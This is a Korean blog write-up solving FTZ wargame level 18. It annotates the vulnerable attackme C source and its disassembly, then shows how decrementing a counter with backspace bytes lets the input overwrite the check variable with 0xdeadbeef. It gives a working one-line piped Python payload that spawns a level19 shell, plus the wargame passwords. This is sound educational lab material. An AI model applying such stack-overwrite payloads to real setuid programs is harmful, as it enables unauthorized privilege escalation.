yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

FTZ level18 풀이 본문

wargame 풀이/FTZ

FTZ level18 풀이

yehey 2020. 10. 5. 16:26
id: level18
pw: why did you do it

hint를 읽었더니 attackme 파일의 코드가 나왔다.

좀 많이 길어서 주석을 달아보았당 

//attackme code

#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
  char string[100];
  int check;
  int x = 0;
  int count = 0;
  fd_set fds;   //구조체 선언
  printf("Enter your command: ");
  fflush(stdout);//표준 출력버퍼 비움
  while(1)
    {
      if(count >= 100)
        printf("what are you trying to do?\n");
      if(check == 0xdeadbeef)   //check에 0xdeadbeef가 들어가면 level19 쉘 띄워짐
        shellout();
      else
        {
          FD_ZERO(&fds);    //인자로 전달된 주소의 fd_set형 변수의 모든 비트를 0으로 초기화한다.
          FD_SET(STDIN_FILENO,&fds);    //전달된 주소의 변수에 STDIN_FILENO(파일디스크립터 정보)를 등록

          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1) //변화가 발생한 파일 디스크립터에 해당하는 비트는 1이 된다. 
 
 	  //한마디로 파일디스크립터에 변화가 1개 이상 발생했을 때 조건문 실행
          //FD_SETSIZE=검사 대상이 되는 파일 디스크립터 수, 
          //fds=수신된 데이터 존재 여부에 관심있는 파일 디스크립터 정보를 모두 등록해서 그 변수의 주소 값을 전달

			{
              if(FD_ISSET(fileno(stdin),&fds))  //fds에 fileno(stdin-표준 입력)으로 전달된 정보가 있으면 양수를 반환
                {
                  read(fileno(stdin),&x,1); //fileno(stdin)=데이터 수신 대상을 나타내는 파일 디스크립터, 1byte를 읽어 x에 저장
                  switch(x)
                    {
                      case '\r':    //x가 \r이나 \n이면 \a 출력
                      case '\n':
                        printf("\a");
                        break;
                      case 0x08:    //x가 0x08이면 count --
                        count--;
                        printf("\b \b");    
                        break;
                      default:      //그 외에는 모두 string에 x를 저장하고 count ++
                        string[count] = x;
                        count++;
                        break;
                    }
                }
            }
        }
    }
}

void shellout(void)
{
  setreuid(3099,3099);
  execl("/bin/sh","sh",NULL);
}

//fileno = fdopen의 반대 기능, int fileno(FILE *stream) , 
//인자로 FILE 포인터를 전달하면, 해당 파일의 디스크립터를 반환
파일디스크립터: 프로그램에서 보조 기억 장치에 있는 파일에 접근하는 데 이용하는 여러가지 파일 정보를 담고 있는 자료 구조
int 타입으로 선언되는 고유 식별 번호를 가짐,  0: stdout, 1: stdin, 2: stderr

attackme는 우리가 입력한 문자를 1바이트씩 읽어서 x에 저장 후 x값이 '\r'이나 '\n'이 입력되면 '\a'를 출력하고

'\x08'이면 count--를 해주고 "\b   \b"를 출력

그 외에는 x를 string[count]에 입력한다.

shellout 함수는 level19권한의 쉘을 띄워주는 함수로 check==0xdeadbeef 일 때 실행된다.

따라서 우리는 check에 0xdeadbeef를 입력해야만 shell을 띄울 수 있다.

 

check와 다른 변수들의 스택 상의 위치를 알아내기 위해 attackme의 main을 디스어셈블해주었다. (엄청 길다ㅎ...)

 

main+3: stack을 256바이트 확장

main+72: ebp-112 값과 0x63 비교 jle(jump if less or equal) 
-> ebp-112의 값이 99(0x63)보다 작거나 같으면, if(count>=100)조건에 걸리지 않으면 main+91로 점프
따라서 ebp-112=count

main+91: ebp-104 값과 0xdeadbeef 비교, jne(jump if not equal) = ebp-104의 값이 0xdeadbeef가 아니면 main+112로 점프, 같으면 shellout함수 호출 
따라서 ebp-104=check

이해 안되는 부분: main+152~main+162

main+171~main+175: select의 인자 NULL 3개 스택에 push
main+177~195: ecx에 ebp-240주소 대입, ebp-252에 ecx 값(ebp-240 주소)을 대입, edi에 ebp-252의 값(ecx,ebp-240주소)을 대입, edi를 스택에 push (edi가 &fds, ebp-240=&fds)
main+196: 0x400 push, 0x400=FD_SETSIZE
main+201: select 함수 호출

main+353~368: ebp-108의 주소를 eax에 대입, ebp-252에 eax 대입, ecx에 ebp-252 대입, ecx push = ebp-108의 주소를 stack에 push
ebp-108=x

main+426: 0xa='\r'
main+455: 0xd='\n'
main+442: jg(jump if greater) x값이 0xa 보다 크면 jmp main+455

main+499~main+535: edx+ecx (string[count])에 x 값 대입, count++, ebp-100=string[] 시작 주소

 

변수들의 상대적인 위치정보를 스택으로 나타내면 다음과 같다.

우리는 check에 0xdeadbeef를 입력해야 하는데, check는 string보다 4바이트 아래에 존재한다. 

따라서 count를 조작해서 ebp-104(string[]-4)인 check에 0xdeadbeef를 쓸 수 있게 한다.
count가 -4가 되어야 하기 때문에 0x08을 4번 입력하면 count가 -4가 된다. (count-- 4번 실행)
count가 음수면 안된다는 조건은 없기 때문에 가능!

 

payload: (python -c 'print "\x08"*4+"\xef\xbe\xad\xde"';cat)|./attackme

-표준 입출력을 이용해 값을 입력하기 때문에 파이프라인으로 값을 넘겨준다.

 

 

level19의 pw: "swimming in pink"

'wargame 풀이 > FTZ' 카테고리의 다른 글

FTZ level20 풀이  (0) 2020.12.30
FTZ level19 풀이  (0) 2020.10.06
FTZ level17 풀이  (0) 2020.09.30
FTZ level16 풀이  (0) 2020.09.30
FTZ level15 풀이  (0) 2020.09.29
Comments